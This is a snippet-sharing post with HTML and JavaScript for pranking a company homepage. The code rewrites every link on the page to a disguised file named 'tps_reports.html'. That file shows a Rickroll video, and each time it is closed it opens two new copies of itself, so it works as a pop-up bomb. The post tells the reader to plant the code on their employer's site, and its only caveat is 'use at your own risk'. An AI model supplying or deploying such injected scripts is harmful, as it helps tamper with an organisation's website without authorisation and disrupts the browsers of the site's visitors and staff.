/ Published in: HTML

This will make every link on your company's homepage open a Rickroll page that when closed will spawn two more Rickroll pages. This is especially useful on company websites that require each employee to allow pop-ups.
**Warning:** Use at your own risk.
**Warning:** Use at your own risk.
Expand |
Embed | Plain Text
Copy this code and paste it in your HTML
Save the following as tps_reports.html and put it in the same directory as your company's homepage <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <script type="text/javascript"> function terrorize() { window.open("tps_reports.html"); window.open("tps_reports.html"); } </script> </head> <body onunload="terrorize();" style="margin: 0;"> <iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0"> </iframe> </body> </html> Next, add the following somewhere between the <head> tags in your company's homepage. <script type="text/javascript"> function rickroll() { var links = document.getElementsByTagName("a"); for (var i in links) { links[i].href = "tps_reports.html"; } } </script> Finally, add the following to the <body> tag in your company's homepage. onload="rickroll();"
Comments
